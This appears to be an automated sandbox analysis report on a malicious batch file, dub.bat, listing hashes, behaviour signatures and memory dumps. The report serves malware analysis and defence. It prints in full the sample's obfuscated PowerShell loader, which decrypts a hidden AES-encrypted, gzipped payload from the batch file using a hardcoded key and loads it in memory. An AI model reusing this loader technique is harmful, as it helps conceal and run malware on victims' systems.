07a0759d5b376fc57f2ad9c5a32d59829934828b862591225c43421044ffd4ec

Analysis

max time kernel
42s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08-02-2023 03:50

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General

Target

dub.bat
Size

226KB
MD5

cf81b345541f19ab200b4d0de4a64962
SHA1

56dcdd340cb470fcd42c0cd1531d1eac8fcd7980
SHA256

07a0759d5b376fc57f2ad9c5a32d59829934828b862591225c43421044ffd4ec
SHA512

ac960f497fc3354831a76c1a385e95c65b66d862bd09e24b73bedb8e969d8221516e8d7a6eba257c5613c61d82d16305fd672a5112d441b97e5fefa0d88a7e97
SSDEEP

6144:LiEz3MvivRRFAFNmR3QaqnMadPo7lNhkLPUoV:mivRRFsNmwulNeLcoV

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

dub.bat.exe

pid process

1432 dub.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1660 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

dub.bat.exe

pid process

1432 dub.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

dub.bat.exe

description pid process

Token: SeDebugPrivilege 1432 dub.bat.exe

pid	process
1432	dub.bat.exe

pid	process
1660	cmd.exe

pid	process
1432	dub.bat.exe

description	pid	process
Token: SeDebugPrivilege	1432	dub.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1660 wrote to memory of 1432	1660	cmd.exe	dub.bat.exe
PID 1660 wrote to memory of 1432	1660	cmd.exe	dub.bat.exe
PID 1660 wrote to memory of 1432	1660	cmd.exe	dub.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\dub.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1660

C:\Users\Admin\AppData\Local\Temp\dub.bat.exe
"dub.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $utCHT = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\dub.bat').Split([Environment]::NewLine);foreach ($sWAOq in $utCHT) { if ($sWAOq.StartsWith(':: ')) { $upQKs = $sWAOq.Substring(3); break; }; };$JjLmi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($upQKs);$YkqlI = New-Object System.Security.Cryptography.AesManaged;$YkqlI.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YkqlI.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YkqlI.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kiFQHKEXvznY0Nsnm3fp94kgb604e6Feq9TQN777Yxs=');$YkqlI.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5Ca2LFqXHi3HVlKnNoz3+g==');$vFmBU = $YkqlI.CreateDecryptor();$JjLmi = $vFmBU.TransformFinalBlock($JjLmi, 0, $JjLmi.Length);$vFmBU.Dispose();$YkqlI.Dispose();$fuUUI = New-Object System.IO.MemoryStream(, $JjLmi);$gvEAD = New-Object System.IO.MemoryStream;$wMQDT = New-Object System.IO.Compression.GZipStream($fuUUI, [IO.Compression.CompressionMode]::Decompress);$wMQDT.CopyTo($gvEAD);$wMQDT.Dispose();$fuUUI.Dispose();$gvEAD.Dispose();$JjLmi = $gvEAD.ToArray();$vodVl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($JjLmi);$UBeHH = $vodVl.EntryPoint;$UBeHH.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dub.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\dub.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1432-55-0x0000000000000000-mapping.dmp

Download
memory/1432-57-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmp

Filesize
8KB

Download
memory/1432-58-0x000007FEF42B0000-0x000007FEF4CD3000-memory.dmp

Filesize
10.1MB

Download
memory/1432-60-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/1432-59-0x000007FEF3750000-0x000007FEF42AD000-memory.dmp

Filesize
11.4MB

Download
memory/1432-61-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/1432-62-0x000000000253B000-0x000000000255A000-memory.dmp

Filesize
124KB

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